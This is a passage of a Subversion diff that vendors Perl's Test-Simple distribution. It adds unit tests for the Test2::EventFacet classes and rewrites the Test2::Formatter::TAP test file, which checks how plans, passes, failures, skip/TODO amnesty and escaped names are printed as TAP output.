+is($CLASS->facet_key, 'assert', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,24 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Control';
+my $CLASS = 'Test2::EventFacet::Control';
+
+my $one = $CLASS->new(details => 'foo', global => 0, terminate => undef, halt => 0, has_callback => 1, encoding => 'utf8');
+
+is($one->details, "foo", "Got details");
+is($one->global, 0, "Got 'global' value");
+is($one->terminate, undef, "Got 'terminate' value");
+is($one->halt, 0, "Got 'halt' value");
+is($one->has_callback, 1, "Got 'has_callback' value");
+is($one->encoding, 'utf8', "Got 'utf8' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'control', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Error';
+my $CLASS = 'Test2::EventFacet::Error';
+
+my $one = $CLASS->new(details => 'foo', tag => 'uhg', fail => 1);
+
+is($one->details, "foo", "Got details");
+is($one->tag, 'uhg', "Got 'tag' value");
+is($one->fail, 1, "Got 'fail' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok($CLASS->is_list, "is a list");
+is($CLASS->facet_key, 'errors', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Info';
+my $CLASS = 'Test2::EventFacet::Info';
+
+my $one = $CLASS->new(details => 'foo', tag => 'bar', debug => 0);
+
+is($one->details, "foo", "Got details");
+is($one->tag, "bar", "Got tag");
+is($one->debug, 0, "Got 'debug' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok($CLASS->is_list, "is a list");
+is($CLASS->facet_key, 'info', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,25 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Meta';
+my $CLASS = 'Test2::EventFacet::Meta';
+
+my $one = $CLASS->new(details => 'foo', a => 1, b => 'bar', x => undef, set_details => 'xxx');
+
+is($one->details, "foo", "Got details");
+is($one->set_details, "xxx", "set_details is a regular field, not a writer");
+
+is($one->a, 1, "Got 'a'");
+is($one->b, 'bar', "Got 'b'");
+is($one->x, undef, "Got 'x'");
+is($one->blah, undef, "Vivified 'blah'");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'meta', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Parent';
+my $CLASS = 'Test2::EventFacet::Parent';
+
+my $one = $CLASS->new(details => 'foo', hid => 'abc', children => [], buffered => 1);
+
+is($one->details, "foo", "Got details");
+is($one->hid, 'abc', "Got 'hid' value");
+is($one->buffered, 1, "Got 'buffered' value");
+is_deeply($one->children, [], "Got 'children' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'parent', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Plan';
+my $CLASS = 'Test2::EventFacet::Plan';
+
+my $one = $CLASS->new(details => 'foo', count => 100, skip => 1, none => 0);
+
+is($one->details, "foo", "Got details");
+is($one->count, 100, "Got 'count' value");
+is($one->skip, 1, "Got 'skip' value");
+is($one->none, 0, "Got 'none' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'plan', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,46 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+use Test2::EventFacet::Trace;
+
+my $CLASS = 'Test2::EventFacet::Trace';
+
+like(
+    exception { $CLASS->new() },
+    qr/The 'frame' attribute is required/,
+    "got error"
+);
+
+my $one = $CLASS->new(frame => ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo']);
+is_deeply($one->frame,  ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got frame");
+is_deeply([$one->call], ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got call");
+is($one->package, 'Foo::Bar',      "Got package");
+is($one->file,    'foo.t',         "Got file");
+is($one->line,    5,               "Got line");
+is($one->subname, 'Foo::Bar::foo', "got subname");
+
+is($one->debug, "at foo.t line 5", "got trace");
+$one->set_detail("yo momma");
+is($one->debug, "yo momma", "got detail for trace");
+$one->set_detail(undef);
+
+is(
+    exception { $one->throw('I died') },
+    "I died at foo.t line 5.\n",
+    "got exception"
+);
+
+is_deeply(
+    warnings { $one->alert('I cried') },
+    [ "I cried at foo.t line 5.\n" ],
+    "alter() warns"
+);
+
+my $snap = $one->snapshot;
+is_deeply($snap, $one, "identical");
+ok($snap != $one, "Not the same instance");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'trace', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,24 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet';
+my $CLASS = 'Test2::EventFacet';
+
+my $one = $CLASS->new(details => 'foo');
+
+is($one->details, "foo", "Got details");
+
+is_deeply($one->clone, $one, "Cloning.");
+
+isnt($one->clone, $one, "Clone is a new ref");
+
+my $two = $one->clone(details => 'bar');
+is($one->details, 'foo', "Original details unchanged");
+is($two->details, 'bar', "Clone details changed");
+
+ok(!$CLASS->is_list, "Not a list by default");
+ok(!$CLASS->facet_key, "No key for base class");
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,550 +1,1019 @@
 use strict;
 use warnings;
-use Test2::Formatter::TAP;
-use Test2::API qw/context/;
-use PerlIO;
+# HARNESS-NO-PRELOAD
 
+my $CLASS;
+my %BEFORE_LOAD;
+
+BEGIN {
+    my $old = select STDOUT;
+    $BEFORE_LOAD{STDOUT} = $|;
+    select STDERR;
+    $BEFORE_LOAD{STDERR} = $|;
+    select $old;
+
+    require Test2::Formatter::TAP;
+    $CLASS = 'Test2::Formatter::TAP';
+    *OUT_STD = $CLASS->can('OUT_STD') or die "Could not get OUT_STD constant";
+    *OUT_ERR = $CLASS->can('OUT_ERR') or die "Could not get OUT_ERR constant";
+}
+
 use Test2::Tools::Tiny;
+use Test2::API qw/context/;
 
 BEGIN {
-    *OUT_STD = Test2::Formatter::TAP->can('OUT_STD') or die;
-    *OUT_ERR = Test2::Formatter::TAP->can('OUT_ERR') or die;
+    eval {
+        require PerlIO;
+        PerlIO->VERSION(1.02); # required for PerlIO::get_layers
+    } or do {
+        print "1..0 # SKIP Don't have PerlIO 1.02\n";
+        exit 0;
+    }
 }
 
-use Test2::API;
-Test2::API::test2_add_callback_context_release(sub {
-    my $ctx = shift;
-    return if $ctx->hub->is_passing;
-    $ctx->throw("(Die On Fail)");
-});
+sub grabber {
+    my ($std, $err);
+    open( my $stdh, '>', \$std ) || die "Ooops";
+    open( my $errh, '>', \$err ) || die "Ooops";
 
-ok(my $one = Test2::Formatter::TAP->new, "Created a new instance");
-my $handles = $one->handles;
-is(@$handles, 2, "Got 2 handles");
-ok($handles->[0] != $handles->[1], "First and second handles are not the same");
-my $layers = { map {$_ => 1} PerlIO::get_layers($handles->[0]) };
+    my $it = $CLASS->new(
+        handles => [$stdh, $errh, $stdh],
+    );
 
-if (${^UNICODE} & 2) { # 2 means STDIN
-    ok($layers->{utf8}, "'S' is set in PERL_UNICODE, or in -C, honor it, utf8 should be on")
+    return ($it, \$std, \$err);
 }
-else {
-    ok(!$layers->{utf8}, "Not utf8 by default")
-}
 
-$one->encoding('utf8');
-is($one->encoding, 'utf8', "Got encoding");
-$handles = $one->handles;
-is(@$handles, 2, "Got 2 handles");
-$layers = { map {$_ => 1} PerlIO::get_layers($handles->[0]) };
-ok($layers->{utf8}, "Now utf8");
+tests "IO handle stuff" => sub {
+    ok($CLASS->can($_), "$CLASS has the '$_' method") for qw/no_numbers handles/;
+    ok($CLASS->isa('Test2::Formatter'), "$CLASS isa Test2::Formatter");
 
-my $two = Test2::Formatter::TAP->new(encoding => 'utf8');
-$handles = $two->handles;
-is(@$handles, 2, "Got 2 handles");
-$layers = { map {$_ => 1} PerlIO::get_layers($handles->[0]) };
-ok($layers->{utf8}, "Now utf8");
+    ok(!$BEFORE_LOAD{STDOUT}, "AUTOFLUSH was not on for STDOUT before load");
+    ok(!$BEFORE_LOAD{STDERR}, "AUTOFLUSH was not on for STDERR before load");
+    my $old = select STDOUT;
+    ok($|, "AUTOFLUSH was turned on for STDOUT");
+    select STDERR;
+    ok($|, "AUTOFLUSH was turned on for STDERR");
+    select $old;
 
+    ok(my $one = $CLASS->new, "Created a new instance");
+    my $handles = $one->handles;
+    is(@$handles, 2, "Got 2 handles");
+    ok($handles->[0] != $handles->[1], "First and second handles are not the same");
+    my $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[0])};
 
-{
-    package My::Event;
+    if (${^UNICODE} & 2) {    # 2 means STDIN
+        ok($layers->{utf8}, "'S' is set in PERL_UNICODE, or in -C, honor it, utf8 should be on");
+    }
+    else {
+        ok(!$layers->{utf8}, "Not utf8 by default");
+    }
 
-    use base 'Test2::Event';
-    use Test2::Util::HashBase qw{pass name diag note};
+    $one->encoding('utf8');
+    is($one->encoding, 'utf8', "Got encoding");
+    $handles = $one->handles;
+    is(@$handles, 2, "Got 2 handles");
+    $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[OUT_STD])};
+    ok($layers->{utf8}, "Now utf8");
 
-    Test2::Formatter::TAP->register_event(
-        __PACKAGE__,
-        sub {
-            my $self = shift;
-            my ($e, $num) = @_;
-            return (
-                [main::OUT_STD, "ok $num - " . $e->name . "\n"],
-                [main::OUT_ERR, "# " . $e->name . " " . $e->diag . "\n"],
-                [main::OUT_STD, "# " . $e->name . " " . $e->note . "\n"],
-            );
-        }
-    );
-}
+    my $two = $CLASS->new(encoding => 'utf8');
+    $handles = $two->handles;
+    is(@$handles, 2, "Got 2 handles");
+    $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[OUT_STD])};
+    ok($layers->{utf8}, "Now utf8");
 
-my ($std, $err);
-open( my $stdh, '>', \$std ) || die "Ooops";
-open( my $errh, '>', \$err ) || die "Ooops";
+    $old = select $handles->[OUT_STD];
+    ok($|, "AUTOFLUSH was turned on for copy-STDOUT");
+    select select $handles->[OUT_ERR];
+    ok($|, "AUTOFLUSH was turned on for copy-STDERR");
+    select $old;
 
-my $it = Test2::Formatter::TAP->new(
-    handles => [$stdh, $errh, $stdh],
-);
+    ok($CLASS->hide_buffered, "TAP will hide buffered events");
+    ok(!$CLASS->no_subtest_space, "Default formatter does not have subtest space");
+};
 
-$it->write(
-    My::Event->new(
-        pass => 1,
-        name => 'foo',
-        diag => 'diag',
-        note => 'note',
-        trace => 'fake',
-    ),
-    55,
-);
+tests optimal_pass => sub {
+    my ($it, $out, $err) = grabber();
 
-$it->write(
-    My::Event->new(
-        pass => 1,
-        name => 'bar',
-        diag => 'diag',
-        note => 'note',
-        trace => 'fake',
-        nested => 1,
-    ),
-    1,
-);
+    my $fail = Test2::Event::Fail->new;
+    ok(!$it->print_optimal_pass($fail, 1), "Not gonna print a non-pass");
 
-is($std, <<EOT, "Got expected TAP output to std");
-ok 55 - foo
-# foo note
-    ok 1 - bar
-    # bar note
-EOT
+    $fail = Test2::Event::Ok->new(pass => 0);
+    ok(!$it->print_optimal_pass($fail, 1), "Not gonna print a non-pass");
 
-is($err, <<EOT, "Got expected TAP output to err");
-# foo diag
-    # bar diag
-EOT
+    my $pass = Test2::Event::Pass->new();
+    $pass->add_amnesty({tag => 'foo', details => 'foo'});
+    ok(!$it->print_optimal_pass($pass, 1), "Not gonna print amnesty");
 
-$it = undef;
-close($stdh);
-close($errh);
+    $pass = Test2::Event::Ok->new(pass => 1, todo => '');
+    ok(!$it->print_optimal_pass($pass, 1), "Not gonna print todo (even empty todo)");
 
-my ($trace, $ok, $diag, $plan, $bail);
+    $pass = Test2::Event::Ok->new(pass => 1, name => "foo # bar");
+    ok(!$it->print_optimal_pass($pass, 1), "Not gonna pritn a name with a hash");
 
-my $fmt = Test2::Formatter::TAP->new;
-sub before_each {
-    # Make sure there is a fresh trace object for each group
-    $trace = Test2::Util::Trace->new(
-        frame => ['main_foo', 'foo.t', 42, 'main_foo::flubnarb'],
-    );
-}
+    $pass = Test2::Event::Ok->new(pass => 1, name => "foo \n bar");
+    ok(!$it->print_optimal_pass($pass, 1), "Not gonna pritn a name with a newline");
 
-tests bail => sub {
-    my $bail = Test2::Event::Bail->new(
-        trace => $trace,
-        reason => 'evil',
-    );
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
 
-    is_deeply(
-        [$fmt->event_tap($bail, 1)],
-        [[OUT_STD, "Bail out!  evil\n" ]],
-        "Got tap"
-    );
+    $pass = Test2::Event::Pass->new();
+    ok($it->print_optimal_pass($pass, 1), "Printed a simple pass without a name");
+
+    $pass = Test2::Event::Pass->new(name => 'xxx');
+    ok($it->print_optimal_pass($pass, 1), "Printed a simple pass with a name");
+
+    $pass = Test2::Event::Ok->new(pass => 1, name => 'xxx');
+    ok($it->print_optimal_pass($pass, 1), "Printed an 'Ok' pass with a name");
+
+    $pass = Test2::Event::Pass->new(name => 'xxx', trace => { nested => 1 });
+    ok($it->print_optimal_pass($pass, 1), "Printed a nested pass");
+    $pass = Test2::Event::Pass->new(name => 'xxx', trace => { nested => 3 });
+    ok($it->print_optimal_pass($pass, 1), "Printed a deeply nested pass");
+
+    $pass = Test2::Event::Pass->new(name => 'xxx');
+    $it->{no_numbers} = 1;
+    ok($it->print_optimal_pass($pass, 1), "Printed a simple pass with a name");
+
+    is($$out, <<"    EOT", "Got expected TAP output");
+ok 1
+ok 1 - xxx
+ok 1 - xxx
+    ok 1 - xxx
+            ok 1 - xxx
+ok - xxx
+    EOT
+
+    is($it->{_last_fh}, $it->handles->[OUT_STD], "Set the last filehandle");
+
+    ok(!$$err, "No err output");
 };
 
-tests diag => sub {
-    my $diag = Test2::Event::Diag->new(
-        trace => $trace,
-        message => 'foo',
-    );
+tests plan_tap => sub {
+    my ($it, $out, $err) = grabber();
 
+    is_deeply([$it->plan_tap({})], [], "Nothing with no plan facet");
+
     is_deeply(
-        [$fmt->event_tap($diag, 1)],
-        [[OUT_ERR, "# foo\n"]],
-        "Got tap"
+        [$it->plan_tap({plan => { none => 1 }})],
+        [],
+        "no-plan has no output"
     );
 
-    $diag->set_message("foo\n");
     is_deeply(
-        [$fmt->event_tap($diag, 1)],
-        [[OUT_ERR, "# foo\n"]],
-        "Only 1 newline"
+        [$it->plan_tap({plan => { count => 20 }})],
+        [[OUT_STD, "1..20\n"]],
+        "Wrote the plan from, count"
     );
 
-    $diag->set_message("foo\nbar\nbaz");
     is_deeply(
-        [$fmt->event_tap($diag, 1)],
-        [[OUT_ERR, "# foo\n# bar\n# baz\n"]],
-        "All lines have proper prefix"
+        [$it->plan_tap({plan => { count => 'anything', skip => 1 }})],
+        [[OUT_STD, "1..0 # SKIP\n"]],
+        "Skip, no reason"
     );
-};
 
-tests exception => sub {
-    my $exception = Test2::Event::Exception->new(
-        trace => $trace,
-        error => "evil at lake_of_fire.t line 6\n",
+    is_deeply(
+        [$it->plan_tap({plan => { count => 'anything', skip => 1, details => 'I said so' }})],
+        [[OUT_STD, "1..0 # SKIP I said so\n"]],
+        "Skip with reason"
     );
 
-    is_deeply(
-        [$fmt->event_tap($exception, 1)],
-        [[OUT_ERR, "evil at lake_of_fire.t line 6\n" ]],
-        "Got tap"
-    );
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
 };
 
-tests note => sub {
-    my $note = Test2::Event::Note->new(
-        trace => $trace,
-        message => 'foo',
-    );
+tests assert_tap => sub {
+    my ($it, $out, $err) = grabber();
 
     is_deeply(
-        [$fmt->event_tap($note, 1)],
-        [[OUT_STD, "# foo\n"]],
-        "Got tap"
+        [$it->assert_tap({assert => {pass => 1}}, 1)],
+        [[OUT_STD, "ok 1\n"]],
+        "Pass",
     );
 
-    $note->set_message("foo\n");
     is_deeply(
-        [$fmt->event_tap($note, 1)],
-        [[OUT_STD, "# foo\n"]],
-        "Only 1 newline"
+        [$it->assert_tap({assert => {pass => 0}}, 1)],
+        [[OUT_STD, "not ok 1\n"]],
+        "Fail",
     );
 
-    $note->set_message("foo\nbar\nbaz");
-    is_deeply(
-        [$fmt->event_tap($note, 1)],
-        [[OUT_STD, "# foo\n# bar\n# baz\n"]],
-        "All lines have proper prefix"
-    );
+    tests amnesty => sub {
+        tests pass_no_name => sub {
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "ok 1 # skip xxx\n"]],
+                "Pass with skip (with details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'skip'}]}, 1)],
+                [[OUT_STD, "ok 1 # skip\n"]],
+                "Pass with skip (without details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "ok 1 # TODO xxx\n"]],
+                "Pass with TODO (with details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'TODO'}]}, 1)],
+                [[OUT_STD, "ok 1 # TODO\n"]],
+                "Pass with TODO (without details)",
+            );
+
+            is_deeply(
+                [
+                    $it->assert_tap(
+                        {
+                            assert  => {pass => 1},
+                            amnesty => [
+                                {tag => 'TODO', details => 'xxx'},
+                                {tag => 'skip', details => 'yyy'},
+                            ]
+                        },
+                        1
+                    )
+                ],
+                [[OUT_STD, "ok 1 # TODO & SKIP yyy\n"]],
+                "Pass with skip and TODO",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "ok 1 # foo xxx\n"]],
+                "Pass with other amnesty",
+            );
+        };
+
+        tests pass_with_name => sub {
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "ok 1 - bob # skip xxx\n"]],
+                "Pass with skip (with details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'skip'}]}, 1)],
+                [[OUT_STD, "ok 1 - bob # skip\n"]],
+                "Pass with skip (without details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "ok 1 - bob # TODO xxx\n"]],
+                "Pass with TODO (with details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'TODO'}]}, 1)],
+                [[OUT_STD, "ok 1 - bob # TODO\n"]],
+                "Pass with TODO (without details)",
+            );
+
+            is_deeply(
+                [
+                    $it->assert_tap(
+                        {
+                            assert  => {pass => 1, details => 'bob'},
+                            amnesty => [
+                                {tag => 'TODO', details => 'xxx'},
+                                {tag => 'skip', details => 'yyy'},
+                            ]
+                        },
+                        1
+                    )
+                ],
+                [[OUT_STD, "ok 1 - bob # TODO & SKIP yyy\n"]],
+                "Pass with skip and TODO",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "ok 1 - bob # foo xxx\n"]],
+                "Pass with other amnesty",
+            );
+        };
+
+        tests fail_no_name => sub {
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "not ok 1 # skip xxx\n"]],
+                "Pass with skip (with details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'skip'}]}, 1)],
+                [[OUT_STD, "not ok 1 # skip\n"]],
+                "Pass with skip (without details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "not ok 1 # TODO xxx\n"]],
+                "Pass with TODO (with details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'TODO'}]}, 1)],
+                [[OUT_STD, "not ok 1 # TODO\n"]],
+                "Pass with TODO (without details)",
+            );
+
+            is_deeply(
+                [
+                    $it->assert_tap(
+                        {
+                            assert  => {pass => 0},
+                            amnesty => [
+                                {tag => 'TODO', details => 'xxx'},
+                                {tag => 'skip', details => 'yyy'},
+                            ]
+                        },
+                        1
+                    )
+                ],
+                [[OUT_STD, "not ok 1 # TODO & SKIP yyy\n"]],
+                "Pass with skip and TODO",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "not ok 1 # foo xxx\n"]],
+                "Pass with other amnesty",
+            );
+        };
+
+        tests fail_with_name => sub {
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "not ok 1 - bob # skip xxx\n"]],
+                "Pass with skip (with details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'skip'}]}, 1)],
+                [[OUT_STD, "not ok 1 - bob # skip\n"]],
+                "Pass with skip (without details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "not ok 1 - bob # TODO xxx\n"]],
+                "Pass with TODO (with details)",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'TODO'}]}, 1)],
+                [[OUT_STD, "not ok 1 - bob # TODO\n"]],
+                "Pass with TODO (without details)",
+            );
+
+            is_deeply(
+                [
+                    $it->assert_tap(
+                        {
+                            assert  => {pass => 0, details => 'bob'},
+                            amnesty => [
+                                {tag => 'TODO', details => 'xxx'},
+                                {tag => 'skip', details => 'yyy'},
+                            ]
+                        },
+                        1
+                    )
+                ],
+                [[OUT_STD, "not ok 1 - bob # TODO & SKIP yyy\n"]],
+                "Pass with skip and TODO",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => 'bob'}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)],
+                [[OUT_STD, "not ok 1 - bob # foo xxx\n"]],
+                "Pass with other amnesty",
+            );
+        };
+    };
+
+    tests newline_and_hash => sub {
+        tests pass => sub {
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => "foo\nbar"}}, 1)],
+                [
+                    [OUT_STD, "ok 1 - foo\n"],
+                    [OUT_STD, "#      bar\n"],
+                ],
+                "Pass with newline",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => "foo\nbar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+                [
+                    [OUT_STD, "ok 1 - foo # baz bat\n"],
+                    [OUT_STD, "#      bar\n"],
+                ],
+                "Pass with newline and amnesty",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => "foo#bar"}}, 1)],
+                [[OUT_STD, "ok 1 - foo\\#bar\n"]],
+                "Pass with hash",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => "foo#bar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+                [[OUT_STD, "ok 1 - foo\\#bar # baz bat\n"]],
+                "Pass with hash and amnesty",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => "foo#x\nbar#boo"}}, 1)],
+                [
+                    [OUT_STD, "ok 1 - foo\\#x\n"],
+                    [OUT_STD, "#      bar#boo\n"],
+                ],
+                "Pass with newline and hash",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 1, details => "foo#x\nbar#boo"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+                [
+                    [OUT_STD, "ok 1 - foo\\#x # baz bat\n"],
+                    [OUT_STD, "#      bar#boo\n"],
+                ],
+                "Pass with newline and hash and amnesty",
+            );
+        };
+
+        tests fail => sub {
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => "foo\nbar"}}, 1)],
+                [
+                    [OUT_STD, "not ok 1 - foo\n"],
+                    [OUT_STD, "#          bar\n"],
+                ],
+                "Pass with newline",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => "foo\nbar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+                [
+                    [OUT_STD, "not ok 1 - foo # baz bat\n"],
+                    [OUT_STD, "#          bar\n"],
+                ],
+                "Pass with newline and amnesty",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => "foo#bar"}}, 1)],
+                [[OUT_STD, "not ok 1 - foo\\#bar\n"]],
+                "Pass with hash",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => "foo#bar"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+                [[OUT_STD, "not ok 1 - foo\\#bar # baz bat\n"]],
+                "Pass with hash and amnesty",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => "foo#x\nbar#boo"}}, 1)],
+                [
+                    [OUT_STD, "not ok 1 - foo\\#x\n"],
+                    [OUT_STD, "#          bar#boo\n"],
+                ],
+                "Pass with newline and hash",
+            );
+
+            is_deeply(
+                [$it->assert_tap({assert => {pass => 0, details => "foo#x\nbar#boo"}, amnesty => [{tag => 'baz', details => 'bat'}]}, 1)],
+                [
+                    [OUT_STD, "not ok 1 - foo\\#x # baz bat\n"],
+                    [OUT_STD, "#          bar#boo\n"],
+                ],
+                "Pass with newline and hash and amnesty",
+            );
+        };
+    };
+
